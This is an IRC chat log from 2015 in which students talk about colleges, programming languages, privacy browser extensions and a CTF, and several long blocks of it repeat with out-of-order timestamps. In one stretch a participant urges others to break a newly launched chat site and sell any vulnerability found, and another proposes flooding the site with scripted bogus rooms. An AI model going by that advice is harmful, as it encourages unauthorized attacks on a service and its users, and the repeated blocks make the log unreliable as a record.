[2015-01-22T23:55:14-0500] <@awe> Ah, okay.
[2015-01-22T23:55:22-0500] <+Tamini> also i ended up donating lots of money to our school's cyber security club
[2015-01-22T23:55:25-0500] <+Tamini> except im not in that club
[2015-01-22T23:55:26-0500] <+Tamini> ?!?!?!
[2015-01-22T23:55:46-0500] <failedxyz> what
[2015-01-22T23:55:56-0500] <failedxyz> http://techcrunch.com/2015/01/21/blackberry-wut/?ncid=rss
[2015-01-22T23:55:57-0500] <+Tamini> um
[2015-01-22T23:56:03-0500] <+Tamini> lol
[2015-01-22T23:56:06-0500] <+Tamini> wut*
[2015-01-22T23:56:09-0500] <assface> the only club I'm in is the chess club, and I suck ass at chess
[2015-01-22T23:56:10-0500] <@awe> I'd highly recommend going to a public school.
[2015-01-22T23:56:28-0500] <@awe> But I'd be surprised if that recommendation made any difference in any of your behaviors.
[2015-01-22T23:56:41-0500] <+Tamini> loool
[2015-01-22T23:56:43-0500] <+Tamini> and you're correct.
[2015-01-22T23:56:46-0500] <nezorg> awe: I'm hoping to go to berkeley
[2015-01-22T23:56:46-0500] <jwoglom> failedxyz: I looked that up, it was actually taken out of context i believe
[2015-01-22T23:56:50-0500] <failedxyz> oh
[2015-01-22T23:56:59-0500] <alokpathy> awe: Why public?
[2015-01-22T23:57:11-0500] <jwoglom> they don't want Netflix, for example, to be able to say that someone who reverse-engineered their code to work on the BB platform to stop
[2015-01-22T23:57:18-0500] <@awe> Because you'll finally get to exit the bubble where every student is wealthy.
[2015-01-22T23:57:29-0500] <assface> nezorg: me too ;3
[2015-01-22T23:57:32-0500] <jwoglom> while at the same time not having an official BB application or ability to watch netflix on bb
[2015-01-22T23:57:35-0500] <jwoglom> (i think)
[2015-01-22T23:58:55-0500] <alokpathy> awe: Ah, okay
[2015-01-22T23:59:16-0500] <@awe> And I think that that in itself is almost as valuable as the education.
[2015-01-22T23:59:25-0500] <assface> I literally don't have to do anything tomorrow
[2015-01-23T00:00:02-0500] <assface> awe: don't forget to mention that prestiege =/= quality
[2015-01-23T00:00:09-0500] <@awe> Obviously.
[2015-01-23T00:00:45-0500] <@awe> Although some wealthy schools can afford to offer some really cool classes
[2015-01-23T00:00:54-0500] <@awe> (see: a number of incredible CIS courses at UPenn)
[2015-01-23T00:01:07-0500] <alokpathy> awe: Wait like what?
[2015-01-23T00:01:14-0500] <assface> idk about other states, but the UCs are flushed with money
[2015-01-23T00:01:17-0500] <@awe> There's FP stuffs.
[2015-01-23T00:01:21-0500] <@awe> assface: yah, private donations
[2015-01-23T00:01:23-0500] <assface> CalStates, maybe not so much
[2015-01-23T00:01:26-0500] <@awe> assface: esp. Berkley.
[2015-01-23T00:01:36-0500] <alokpathy> awebot: I don't remember seeing that many theory courses for its undergrad.
[2015-01-23T00:01:37-0500] <@awe> Berkeley*
[2015-01-23T00:01:54-0500] <@awe> alokpathy: there's a Haskell course, I know that much
[2015-01-23T00:02:01-0500] <@awe> assface: a damn good one (CIS 194)
[2015-01-23T00:02:02-0500] <@awe> erm
[2015-01-23T00:02:03-0500] <@awe> alokpathy: ^
[2015-01-23T00:02:12-0500] <@awe> alokpathy: and Princeton has all the stuff Ben's doing.
[2015-01-23T00:02:25-0500] <@awe> assface: My school also gets a lot of private donations.
[2015-01-23T00:02:27-0500] <alokpathy> Oops, awe ^
[2015-01-23T00:02:35-0500] <assface> IMO you just need a math background nd you can teach yourself that
[2015-01-23T00:02:49-0500] <assface> all the fun stuff, that is
[2015-01-23T00:02:53-0500] <@awe> assface: They've funded a number of very expensive buildings via alumni donation only.
[2015-01-23T00:02:55-0500] <alokpathy> assface: Teach yourself what?
[2015-01-23T00:03:01-0500] <@awe> FP + Theory.
[2015-01-23T00:03:03-0500] <assface> the fun stuff
[2015-01-23T00:03:08-0500] <@awe> nezorg: I really like assface.
[2015-01-23T00:03:11-0500] <@awe> nezorg: thank you.
[2015-01-23T00:03:17-0500] <nezorg> awe: but he hates haskell
[2015-01-23T00:03:24-0500] <assface> ^
[2015-01-23T00:03:26-0500] <@awe> But he agrees with me on more fundamental things.
[2015-01-23T00:03:31-0500] <@awe> I can forgive that minor transgression.
[2015-01-23T00:03:33-0500] <assface> C/C++ 4 lyfe
[2015-01-23T00:03:47-0500] <nezorg> C is fine
[2015-01-23T00:03:49-0500] <nezorg> C++ not so much
[2015-01-23T00:03:56-0500] <@awe> Understanding the importance and value of public education > programming language choice
[2015-01-23T00:04:01-0500] <alokpathy> awe: Does he kick Jacob off that top 5 list you had before? :P
[2015-01-23T00:04:04-0500] <assface> C's stdlib is trash
[2015-01-23T00:04:05-0500] <@awe> Hmm.
[2015-01-23T00:04:10-0500] <@awe> Can someone pull up my top 5 list?
[2015-01-23T00:04:12-0500] <assface> that's about the only reason I use C++
[2015-01-23T00:04:18-0500] <nezorg> editor choice > Understanding the importance and value of public education > programming language choice
[2015-01-23T00:04:23-0500] <alokpathy> awe: I think it was like
[2015-01-23T00:04:24-0500] <@awe> I think it was alokpathy, bob_twinkles, nezorg, Jacob, Tamini?
[2015-01-23T00:04:34-0500] <alokpathy> In some permutation, yeah.
[2015-01-23T00:04:42-0500] <alokpathy> Unless I'm #1 now :D
[2015-01-23T00:04:44-0500] <@awe> lo
[2015-01-23T00:04:46-0500] <@awe> lol*
[2015-01-23T00:04:50-0500] <@awe> I think Tamini was #1.
[2015-01-23T00:04:54-0500] <alokpathy> She was
[2015-01-23T00:04:56-0500] <alokpathy> I was third
[2015-01-23T00:04:59-0500] <alokpathy> Jacob was last
[2015-01-23T00:05:06-0500] <assface> put down Gypsie Joe as the top position
[2015-01-23T00:05:08-0500] <nezorg> where was I? :S
[2015-01-23T00:05:11-0500] <alokpathy> I think nezorg was fourth?
[2015-01-23T00:05:11-0500] <assface> just to throw everyone off
[2015-01-23T00:05:13-0500] <@awe> either 2nd or 4th.
[2015-01-23T00:05:18-0500] <nezorg> awww
[2015-01-23T00:05:22-0500] <nezorg> hopefully 2nd
[2015-01-23T00:05:24-0500] <@awe> I feel like maybe 4th because bob_twinkles is a badass.
[2015-01-23T00:05:28-0500] <nezorg> :'(
[2015-01-23T00:05:32-0500] <assface> no prime numbers for you nezorg
[2015-01-23T00:05:36-0500] • nezorg: no longer feels fulfilled in life
[2015-01-23T00:05:45-0500] <@awe> Making the top 5 is a pretty big deal though.
[2015-01-23T00:05:47-0500] <alokpathy> Aww
[2015-01-23T00:05:56-0500] <assface> out of 30-ish?
[2015-01-23T00:05:57-0500] <assface> not really
[2015-01-23T00:06:08-0500] <alokpathy> 20-ish*
[2015-01-23T00:06:32-0500] <alokpathy> awe: So, does assface kick Jacob off?
[2015-01-23T00:06:33-0500] <@awe> assface: it's not limited strictly to Pdgn.
[2015-01-23T00:06:41-0500] <alokpathy> Oh it isn't?
[2015-01-23T00:06:45-0500] <@awe> Maybe it was.
[2015-01-23T00:06:46-0500] <@awe> I dunno.
[2015-01-23T00:06:49-0500] <assface> I'm interdasted
[2015-01-23T00:06:54-0500] <alokpathy> I think it was.
[2015-01-23T00:07:00-0500] <alokpathy> Otherwise where's Lauren? :P
[2015-01-23T00:07:04-0500] <@awe> lol
[2015-01-23T00:07:07-0500] <nezorg> ...oops, I just C-x C-s in google docs
[2015-01-23T00:07:08-0500] <@awe> I was joking about Jacob being last.
[2015-01-23T00:07:21-0500] <alokpathy> I meant last in the top 5 lol
[2015-01-23T00:07:25-0500] <alokpathy> So, 5th
[2015-01-23T00:07:26-0500] <@awe> I know.
[2015-01-23T00:07:33-0500] <@awe> I'm always at his throat, but Jacob is p awesome.
[2015-01-23T00:07:34-0500] <failedxyz> holy shit https://osu.ppy.sh/ss/2589357
[2015-01-23T00:07:39-0500] <@awe> Even if he's terrible and uses JS.
[2015-01-23T00:07:43-0500] <failedxyz> what
[2015-01-23T00:07:45-0500] <failedxyz> js is best language
[2015-01-23T00:07:49-0500] <@awe> JS is trash.
[2015-01-23T00:08:03-0500] <assface> nezorg: I was going to ask during your presentation... do you use Request Policy or RefControl?
[2015-01-23T00:08:31-0500] <nezorg> assface: uh, neither
[2015-01-23T00:08:37-0500] <+Tamini> are we doing
[2015-01-23T00:08:39-0500] <+Tamini> uh
[2015-01-23T00:08:43-0500] <+Tamini> awe's favorites list
[2015-01-23T00:08:48-0500] <+Tamini> also nezorg is a filthy shipper
[2015-01-23T00:08:54-0500] <+Tamini> I needed to make sure everyone knew that.
[2015-01-23T00:08:56-0500] <ubuntor> awe: oh, do you also do wechall?
[2015-01-23T00:09:00-0500] <nezorg> Tamini: <3
[2015-01-23T00:09:18-0500] <@awe> No idea what Wechall is.
[2015-01-23T00:09:25-0500] <@awe> http://www.wechall.net?
[2015-01-23T00:09:29-0500] <assface> nezorg: it's excellent for true paranoia
[2015-01-23T00:09:30-0500] <ubuntor> ...wait
[2015-01-23T00:09:32-0500] <ubuntor> awe != awe
[2015-01-23T00:09:34-0500] <ubuntor> nvm
[2015-01-23T00:09:45-0500] <alokpathy> wat
[2015-01-23T00:09:51-0500] <assface> Tamini: what do you mean?
[2015-01-23T00:09:57-0500] <@awe> Ah, this is the right site though
[2015-01-23T00:09:59-0500] <@awe> because I see ubuntor on it.
[2015-01-23T00:09:59-0500] <@awe> :
[2015-01-23T00:10:00-0500] <@awe> :D
[2015-01-23T00:10:02-0500] <+Tamini> assface: nezorg can explain himself
[2015-01-23T00:10:03-0500] <ubuntor> lol
[2015-01-23T00:10:22-0500] <assface> I want this juithy gothip now
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[2015-01-23T00:10:44-0500] <nezorg> assface: I use privacy badger + https everywhere (+ noscript when I'm insane)
[2015-01-23T00:11:06-0500] <ubuntor> noscript is still useful even when scripts are globally allowed
[2015-01-23T00:11:34-0500] <@awe> noscript is too tinfoil hat-ish to me.
[2015-01-23T00:11:40-0500] <assface> I use https everywhere + noscript + requestpolicy + user agent randomizer + adblock plus
[2015-01-23T00:11:46-0500] <nezorg> awe: >implying tinfoil hats are bad
[2015-01-23T00:11:50-0500] <assface> ^^^
[2015-01-23T00:11:57-0500] <nezorg> assface: ABP? :/
[2015-01-23T00:12:11-0500] <nezorg> assface: also wow I found someone who's more paranoid than me
[2015-01-23T00:12:18-0500] <assface> /g/ rubbed off on me
[2015-01-23T00:12:20-0500] <nezorg> like you probably actually have a pgp key
[2015-01-23T00:12:34-0500] <assface> Yeah but I never use it
[2015-01-23T00:12:41-0500] <@awe> assface: ah, user agent randomizer is a good idea.
[2015-01-23T00:12:47-0500] <+Tamini> lol
[2015-01-23T00:12:54-0500] <+Tamini> nezorg: don't you not have one because you're too paranoid?
[2015-01-23T00:13:05-0500] <nezorg> assface: Tamini: I'm waiting until gpg supports curve25519 to make a long-term one
[2015-01-23T00:13:26-0500] <jwoglom> awe: that's...slightly paranoid
[2015-01-23T00:13:30-0500] <jwoglom> *assface
[2015-01-23T00:13:48-0500] <nezorg> also
[2015-01-23T00:13:54-0500] <nezorg> timeroot is a sexually hyperactive wombat
[2015-01-23T00:13:56-0500] <nezorg> just sayin
[2015-01-23T00:14:21-0500] <+Tamini> why are you trying to ship me with a wombat
[2015-01-23T00:14:34-0500] <nezorg> >implying you don't like wombats
[2015-01-23T00:14:35-0500] <@awe> assface: wow, requestpolicy sounds like a chore
[2015-01-23T00:14:35-0500] <+Tamini> interspecies shipping is not okay
[2015-01-23T00:14:51-0500] <assface> nezorg: yeah, mine isn't synced on any keyservers or anything... I don't trust RSA to be secure for 10 more years
[2015-01-23T00:14:56-0500] <+Tamini> wombats are pretty cute i guess
[2015-01-23T00:14:59-0500] <nezorg> Tamini: ponies<-->humans happens a lot
[2015-01-23T00:15:11-0500] <+Tamini> nezorg: no, that's just the kind of porn you read.
[2015-01-23T00:15:12-0500] <ubuntor> ???
[2015-01-23T00:15:17-0500] <@awe> assface: I have an old PGP key on MIT key servers and no way to revoke it :D
[2015-01-23T00:15:23-0500] <nezorg> Tamini: it's not porn
[2015-01-23T00:15:25-0500] <nezorg> (usually)
[2015-01-23T00:15:25-0500] <+Tamini> or watch, i dont know
[2015-01-23T00:15:25-0500] <@awe> assface: I submitted it years ago, and the key is very lost.
[2015-01-23T00:15:32-0500] <assface> lol
[2015-01-23T00:15:33-0500] <+Tamini> >(usually)
[2015-01-23T00:15:49-0500] <nezorg> ...in actuality, I fell out of that habit a couple years ago
[2015-01-23T00:15:52-0500] <nezorg> though I'm not ashamed of it
[2015-01-23T00:15:55-0500] <+Tamini> iunno discussions about quantum mechanics arent too much of a turn-on
[2015-01-23T00:15:58-0500] <+Tamini> yeah, i see that :P
[2015-01-23T00:16:00-0500] <assface> awe: requestpolicy is kind of a chore, but it speeds things up a shitton
[2015-01-23T00:16:11-0500] <@awe> Yeah, it seems neat, but it's SO much work.
[2015-01-23T00:16:52-0500] <assface> eventually you just have a huge list of permissions per site and it just werks
[2015-01-23T00:17:04-0500] <assface> not to mention that most things work anyway
[2015-01-23T00:17:59-0500] <assface> like, on youtube you just need ytimg.com enabled
[2015-01-23T00:18:14-0500] <assface> `(oh, and googlevideo.com)
[2015-01-23T00:18:38-0500] <nezorg> it sounds like it does what privacy badger does
[2015-01-23T00:18:44-0500] <nezorg> but more manually
[2015-01-23T00:18:51-0500] <assface> I like manual
[2015-01-23T00:19:10-0500] <LittleBobbyTables> you're a privacy badger
[2015-01-23T00:19:34-0500] <assface> privacy badger don't care. Fuck that snake!
[2015-01-23T00:19:58-0500] <LittleBobbyTables> anyone wanna try breaking megachat
[2015-01-23T00:21:16-0500] <assface> but they might have actual security
[2015-01-23T00:21:47-0500] <LittleBobbyTables> try it anyway
[2015-01-23T00:21:52-0500] <LittleBobbyTables> get money oif you do
[2015-01-23T00:25:01-0500] <assface> god, this website is terrible
[2015-01-23T00:25:38-0500] <LittleBobbyTables> it came out of alpha today lol
[2015-01-23T00:25:47-0500] <assface> also, what do you mean by "break" it?
[2015-01-23T00:25:51-0500] <assface> as in get passwords?
[2015-01-23T00:26:20-0500] <LittleBobbyTables> anything at all
[2015-01-23T00:26:40-0500] <LittleBobbyTables> if you make it work as not intended, just send a message to kimdotcom on twitter, tell him about it, get money
[2015-01-23T00:26:58-0500] <LittleBobbyTables> or, sell the vulnerability online to people, make money from that, then tell him and get more money
[2015-01-23T00:27:01-0500] <LittleBobbyTables> either way
[2015-01-23T00:27:54-0500] <assface> but don't you know? grey-hat hacking is a crime!
[2015-01-23T00:28:00-0500] <assface> Weev got arrested for it!
[2015-01-23T00:30:37-0500] <LittleBobbyTables> his company was goatse security ffs
[2015-01-23T00:31:10-0500] <nezorg> pretty good name if you ask me
[2015-01-23T00:31:34-0500] <LittleBobbyTables> it's a glorious name, but he was just a huge troll
[2015-01-23T00:31:39-0500] <LittleBobbyTables> moreso than me
[2015-01-23T00:31:56-0500] <assface> anyway, it looks like there's no limit to the number of rooms you can make, so you could flood the directory with bogus rooms with a script
[2015-01-23T00:32:09-0500] <assface> I really don't know how to do that(js probably)
[2015-01-23T00:32:36-0500] <LittleBobbyTables> what good would that do
[2015-01-23T00:33:22-0500] <assface> you could use another script to log into your rooms enough to make them the top boards
[2015-01-23T00:33:40-0500] <assface> thus making the site very shitty indeed
[2015-01-23T00:34:54-0500] <LittleBobbyTables> you ever use tshark
[2015-01-23T00:35:04-0500] <assface> no
[2015-01-23T00:35:16-0500] <assface> if you mean wireshark, yes
[2015-01-23T00:35:33-0500] <LittleBobbyTables> nope, the command line/scripting version of it
[2015-01-23T00:35:42-0500] <assface> yeah
[2015-01-23T00:36:01-0500] <assface> I used it before I learned netstat
[2015-01-23T00:36:21-0500] <assface> &snort
[2015-01-23T00:36:23-0500] <assface> & such
[2015-01-23T00:48:21-0500] <Hyper> nezorg: CS chair?
[2015-01-23T00:48:27-0500] <Hyper> did he look like gandalf?
[2015-01-23T00:48:34-0500] <assface> well he's the CS chair
[2015-01-23T00:48:41-0500] <assface> he's obviously a highplevel wizard
[2015-01-23T00:48:47-0500] <assface> *high-level
[2015-01-23T00:48:54-0500] <Hyper> one of our professors looks like gandalf
[2015-01-23T00:49:05-0500] <Hyper> (fun fact: I'm very good friends with his son)
[2015-01-23T00:49:07-0500] <Hyper> :)
[2015-01-23T00:49:47-0500] <nezorg> not gandalf :( http://engineering.nyu.edu/people/nasir-memon
[2015-01-23T00:49:53-0500] <Hyper> oh him
[2015-01-23T00:50:05-0500] <Hyper> he sends out so many emails to the cs mailing list
[2015-01-23T00:50:08-0500] <Hyper> it's not normal
[2015-01-23T00:50:14-0500] <Hyper> like 3+ per day
[2015-01-23T00:50:32-0500] <nezorg> about what?
[2015-01-23T00:50:49-0500] <Hyper> various internship opportunities and things like that
[2015-01-23T00:50:52-0500] <Hyper> career fairs
[2015-01-23T00:51:22-0500] <assface> 3+/day sounds about right for our school's counselors
[2015-01-23T00:51:38-0500] <nezorg> https://www.nsa.gov/ia/academic_outreach/nat_cae/ how is UCSB not listed here
[2015-01-23T00:51:43-0500] <nezorg> maybe we pissed them off too much?
[2015-01-23T00:52:44-0500] <Hyper> you need to make yourself sexier
[2015-01-23T00:52:50-0500] <Hyper> try sending lots of emails
[2015-01-23T00:53:02-0500] <nezorg> eh
[2015-01-23T00:53:07-0500] <Hyper> It makes people really want to talk to you in person
[2015-01-23T00:53:09-0500] <Hyper> >:(
[2015-01-23T00:53:11-0500] <nezorg> I think not being recognized by the nsa might be a good thing
[2015-01-23T00:53:17-0500] • Hyper: is grumpy about so much email spam
[2015-01-23T00:53:22-0500] <assface> lol
[2015-01-23T00:53:32-0500] <nezorg> at least I didn't check "okay" for student search service
[2015-01-23T00:53:42-0500] <nezorg> I got an email from college board today telling me to do so, though :P
[2015-01-23T00:53:54-0500] <Hyper> never give college board your email
[2015-01-23T00:54:03-0500] <Hyper> they are the worst
[2015-01-23T00:54:06-0500] <nezorg> they don't abuse it if you tell them not to
[2015-01-23T00:54:13-0500] <nezorg> I get an email from them like once a month
[2015-01-23T00:54:14-0500] <assface> I have a problem with not checking my email
[2015-01-23T00:54:16-0500] <Hyper> or at least have a tag on the email so you can filter it out
[2015-01-23T00:56:25-0500] <assface> I literally just checked my email for the first time this week
[2015-01-23T00:57:07-0500] <Hyper> assface: I shudder in horror at the number of unread emails you have
[2015-01-23T00:57:12-0500] <assface> like 30
[2015-01-23T00:57:18-0500] <Hyper> I get stressed with more than 1 or 2
[2015-01-23T00:57:31-0500] <assface> usually it's worse
[2015-01-23T00:59:15-0500] <assface> welp
[2015-01-23T00:59:24-0500] <assface> I promised myself I'd get a reasonable amount of sleep tonight
[2015-01-23T00:59:26-0500] <assface> g'night
[2015-01-23T00:59:30-0500] <nezorg> night
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[2015-01-23T01:20:28-0500] <Pharyngeal> awe: Did you ever convince the others to join Hyperboria?
[2015-01-23T01:25:03-0500] <Pharyngeal> Huh, I guess it's thirsty Thursday
[2015-01-23T01:37:23-0500] <nezorg> wat
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[2015-01-23T01:42:02-0500] <+Tamini> oh god its 2am
[2015-01-23T01:42:04-0500] <+Tamini> what am i doing up
[2015-01-23T01:44:46-0500] <LittleBobbyTables> I know what I'm doing :^)
[2015-01-23T01:45:24-0500] <nezorg> ...what are you doing?
[2015-01-23T01:45:56-0500] <ubuntor> ( ͡° ͜ʖ ͡°)
[2015-01-23T01:46:10-0500] <nezorg> oshit
[2015-01-23T01:47:15-0500] <+Tamini> rip
[2015-01-23T01:47:21-0500] <+Tamini> ill cram during lunch tomorrow :D
[2015-01-23T01:47:24-0500] <+Tamini> thats the way to gooooo
[2015-01-23T01:47:29-0500] <+Tamini> gnight frans
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[2015-01-23T01:50:10-0500] <nezorg> good luck
[2015-01-23T01:57:38-0500] <nezorg> welp
[2015-01-23T01:57:47-0500] <nezorg> looks like I'm actually going to finish my english homework now
[2015-01-23T02:26:27-0500] <nezorg> https://twitter.com/recruiterbro
[2015-01-23T02:41:47-0500] <ubuntor> lol those are great
[2015-01-23T02:43:10-0500] <nezorg> ubuntor: what timezone are you in?
[2015-01-23T02:43:16-0500] <ubuntor> ...est
[2015-01-23T02:43:18-0500] <nezorg> wat
[2015-01-23T02:43:30-0500] <ubuntor> i know
[2015-01-23T02:43:32-0500] <nezorg> do you have school tomorrow?
[2015-01-23T02:43:41-0500] <ubuntor> yes
[2015-01-23T02:43:45-0500] <nezorg> ...
[2015-01-23T02:43:47-0500] <nezorg> sounds fun
[2015-01-23T03:14:54-0500] <nezorg> blech
[2015-01-23T03:15:12-0500] <nezorg> now I remember why I don't stay up late
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[2015-01-23T09:58:40-0500] <unitedjaymo> ctfers
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[2015-01-23T09:58:49-0500] • unitedjaymo: http://ctctf.io/
[2015-01-23T10:10:12-0500] <+hardmath123> unitedjaymo: the logo's pretty
[2015-01-23T10:19:36-0500] <alokpathy> unitedjaymo: Can I compete?: P
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[2015-01-23T11:03:13-0500] <+JacobEdelman> I'm writing nim!
[2015-01-23T11:03:15-0500] <+JacobEdelman> nim is fun!
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[2015-01-23T11:56:27-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-23T00:54:13-0500] <nezorg> I get an email from them like once a month
[2015-01-23T00:54:14-0500] <assface> I have a problem with not checking my email
[2015-01-23T00:54:16-0500] <Hyper> or at least have a tag on the email so you can filter it out
[2015-01-23T00:56:25-0500] <assface> I literally just checked my email for the first time this week
[2015-01-23T00:57:07-0500] <Hyper> assface: I shudder in horror at the number of unread emails you have
[2015-01-23T00:57:12-0500] <assface> like 30
[2015-01-23T00:57:18-0500] <Hyper> I get stressed with more than 1 or 2
[2015-01-23T00:57:31-0500] <assface> usually it's worse
[2015-01-23T00:59:15-0500] <assface> welp
[2015-01-23T00:59:24-0500] <assface> I promised myself I'd get a reasonable amount of sleep tonight
[2015-01-23T00:59:26-0500] <assface> g'night
[2015-01-23T00:59:30-0500] <nezorg> night
[2015-01-23T01:20:28-0500] <Pharyngeal> awe: Did you ever convince the others to join Hyperboria?
[2015-01-23T01:25:03-0500] <Pharyngeal> Huh, I guess it's thirsty Thursday
[2015-01-23T01:37:23-0500] <nezorg> wat
[2015-01-23T01:42:02-0500] <+Tamini> oh god its 2am
[2015-01-23T01:42:04-0500] <+Tamini> what am i doing up
[2015-01-23T01:44:46-0500] <LittleBobbyTables> I know what I'm doing :^)
[2015-01-23T01:45:24-0500] <nezorg> ...what are you doing?
[2015-01-23T01:45:56-0500] <ubuntor> ( ͡° ͜ʖ ͡°)
[2015-01-23T01:46:10-0500] <nezorg> oshit
[2015-01-23T01:47:15-0500] <+Tamini> rip
[2015-01-23T01:47:21-0500] <+Tamini> ill cram during lunch tomorrow :D
[2015-01-23T01:47:24-0500] <+Tamini> thats the way to gooooo
[2015-01-23T01:47:29-0500] <+Tamini> gnight frans
[2015-01-23T01:50:10-0500] <nezorg> good luck
[2015-01-23T01:57:38-0500] <nezorg> welp
[2015-01-23T01:57:47-0500] <nezorg> looks like I'm actually going to finish my english homework now
[2015-01-23T02:26:27-0500] <nezorg> https://twitter.com/recruiterbro
[2015-01-23T02:41:47-0500] <ubuntor> lol those are great
[2015-01-23T02:43:10-0500] <nezorg> ubuntor: what timezone are you in?
[2015-01-23T02:43:16-0500] <ubuntor> ...est
[2015-01-23T02:43:19-0500] <nezorg> wat
[2015-01-23T02:43:30-0500] <ubuntor> i know
[2015-01-23T02:43:31-0500] <nezorg> do you have school tomorrow?
[2015-01-23T02:43:41-0500] <ubuntor> yes
[2015-01-23T02:43:45-0500] <nezorg> ...
[2015-01-23T02:43:47-0500] <nezorg> sounds fun
[2015-01-23T03:14:54-0500] <nezorg> blech
[2015-01-23T03:15:12-0500] <nezorg> now I remember why I don't stay up late
[2015-01-23T09:58:40-0500] <unitedjaymo> ctfers
[2015-01-23T09:58:49-0500] <unitedjaymo> join the party
[2015-01-23T09:58:49-0500] • unitedjaymo: http://ctctf.io/
[2015-01-23T10:10:12-0500] <+hardmath123> unitedjaymo: the logo's pretty
[2015-01-23T10:19:36-0500] <alokpathy> unitedjaymo: Can I compete?: P
[2015-01-23T11:03:13-0500] <+JacobEdelman> I'm writing nim!
[2015-01-23T11:03:15-0500] <+JacobEdelman> nim is fun!
[2015-01-23T11:30:17-0500] <nezorg> unitedjaymo: I have no idea what that is, why would I sign up for updates?
[2015-01-23T11:35:38-0500] <+JacobEdelman> its a ctf that jay is running
[2015-01-23T11:35:48-0500] <+JacobEdelman> along with some alok, myself, and other people
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[2015-01-23T11:56:47-0500] <@awe> Pharyngeal: everybody said they'd join "soon."
[2015-01-23T11:56:58-0500] <@awe> Pharyngeal: except I did get one person to join who isn't from here.
[2015-01-23T12:03:12-0500] <nezorg> ooooh
[2015-01-23T12:03:15-0500] <nezorg> skewer-mode is very cool
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[2015-01-23T13:18:34-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-23T00:57:31-0500] <assface> usually it's worse
[2015-01-23T00:59:15-0500] <assface> welp
[2015-01-23T00:59:24-0500] <assface> I promised myself I'd get a reasonable amount of sleep tonight
[2015-01-23T00:59:26-0500] <assface> g'night
[2015-01-23T00:59:30-0500] <nezorg> night
[2015-01-23T01:20:28-0500] <Pharyngeal> awe: Did you ever convince the others to join Hyperboria?
[2015-01-23T01:25:03-0500] <Pharyngeal> Huh, I guess it's thirsty Thursday
[2015-01-23T01:37:23-0500] <nezorg> wat
[2015-01-23T01:42:02-0500] <+Tamini> oh god its 2am
[2015-01-23T01:42:04-0500] <+Tamini> what am i doing up
[2015-01-23T01:44:46-0500] <LittleBobbyTables> I know what I'm doing :^)
[2015-01-23T01:45:24-0500] <nezorg> ...what are you doing?
[2015-01-23T01:45:56-0500] <ubuntor> ( ͡° ͜ʖ ͡°)
[2015-01-23T01:46:10-0500] <nezorg> oshit
[2015-01-23T01:47:15-0500] <+Tamini> rip
[2015-01-23T01:47:21-0500] <+Tamini> ill cram during lunch tomorrow :D
[2015-01-23T01:47:24-0500] <+Tamini> thats the way to gooooo
[2015-01-23T01:47:29-0500] <+Tamini> gnight frans
[2015-01-23T01:50:10-0500] <nezorg> good luck
[2015-01-23T01:57:38-0500] <nezorg> welp
[2015-01-23T01:57:47-0500] <nezorg> looks like I'm actually going to finish my english homework now
[2015-01-23T02:26:27-0500] <nezorg> https://twitter.com/recruiterbro
[2015-01-23T02:41:47-0500] <ubuntor> lol those are great
[2015-01-23T02:43:10-0500] <nezorg> ubuntor: what timezone are you in?
[2015-01-23T02:43:16-0500] <ubuntor> ...est
[2015-01-23T02:43:19-0500] <nezorg> wat
[2015-01-23T02:43:30-0500] <ubuntor> i know
[2015-01-23T02:43:31-0500] <nezorg> do you have school tomorrow?
[2015-01-23T02:43:41-0500] <ubuntor> yes
[2015-01-23T02:43:45-0500] <nezorg> ...
[2015-01-23T02:43:47-0500] <nezorg> sounds fun
[2015-01-23T03:14:54-0500] <nezorg> blech
[2015-01-23T03:15:12-0500] <nezorg> now I remember why I don't stay up late
[2015-01-23T09:58:40-0500] <unitedjaymo> ctfers
[2015-01-23T09:58:49-0500] <unitedjaymo> join the party
[2015-01-23T09:58:49-0500] • unitedjaymo: http://ctctf.io/
[2015-01-23T10:10:12-0500] <+hardmath123> unitedjaymo: the logo's pretty
[2015-01-23T10:19:36-0500] <alokpathy> unitedjaymo: Can I compete?: P
[2015-01-23T11:03:13-0500] <+JacobEdelman> I'm writing nim!
[2015-01-23T11:03:15-0500] <+JacobEdelman> nim is fun!
[2015-01-23T11:30:17-0500] <nezorg> unitedjaymo: I have no idea what that is, why would I sign up for updates?
[2015-01-23T11:35:38-0500] <+JacobEdelman> its a ctf that jay is running
[2015-01-23T11:35:48-0500] <+JacobEdelman> along with some alok, myself, and other people
[2015-01-23T11:56:45-0500] <@awe> Pharyngeal: everybody said they'd join "soon."
[2015-01-23T11:56:56-0500] <@awe> Pharyngeal: except I did get one person to join who isn't from here.
[2015-01-23T12:03:11-0500] <nezorg> ooooh
[2015-01-23T12:03:14-0500] <nezorg> skewer-mode is very cool
[2015-01-23T12:19:13-0500] <nezorg> ...I was trying to find a js debugger for emacs
[2015-01-23T12:19:15-0500] <nezorg> this came up: https://medium.com/friendship-dot-js/debug-your-javascript-code-in-real-time-76decf09fc1d
[2015-01-23T12:21:06-0500] <nezorg> ...that whole blog is hilarious
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[2015-01-23T00:57:31-0500] <assface> usually it's worse
[2015-01-23T00:59:15-0500] <assface> welp
[2015-01-23T00:59:24-0500] <assface> I promised myself I'd get a reasonable amount of sleep tonight
[2015-01-23T00:59:26-0500] <assface> g'night
[2015-01-23T00:59:30-0500] <nezorg> night
[2015-01-23T01:20:28-0500] <Pharyngeal> awe: Did you ever convince the others to join Hyperboria?
[2015-01-23T01:25:03-0500] <Pharyngeal> Huh, I guess it's thirsty Thursday
[2015-01-23T01:37:23-0500] <nezorg> wat
[2015-01-23T01:42:02-0500] <+Tamini> oh god its 2am
[2015-01-23T01:42:04-0500] <+Tamini> what am i doing up
[2015-01-23T01:44:46-0500] <LittleBobbyTables> I know what I'm doing :^)
[2015-01-23T01:45:24-0500] <nezorg> ...what are you doing?
[2015-01-23T01:45:56-0500] <ubuntor> ( ͡° ͜ʖ ͡°)
[2015-01-23T01:46:10-0500] <nezorg> oshit
[2015-01-23T01:47:15-0500] <+Tamini> rip
[2015-01-23T01:47:21-0500] <+Tamini> ill cram during lunch tomorrow :D
[2015-01-23T01:47:24-0500] <+Tamini> thats the way to gooooo
[2015-01-23T01:47:29-0500] <+Tamini> gnight frans
[2015-01-23T01:50:10-0500] <nezorg> good luck
[2015-01-23T01:57:38-0500] <nezorg> welp
[2015-01-23T01:57:47-0500] <nezorg> looks like I'm actually going to finish my english homework now
[2015-01-23T02:26:27-0500] <nezorg> https://twitter.com/recruiterbro
[2015-01-23T02:41:47-0500] <ubuntor> lol those are great
[2015-01-23T02:43:10-0500] <nezorg> ubuntor: what timezone are you in?
[2015-01-23T02:43:16-0500] <ubuntor> ...est
[2015-01-23T02:43:19-0500] <nezorg> wat
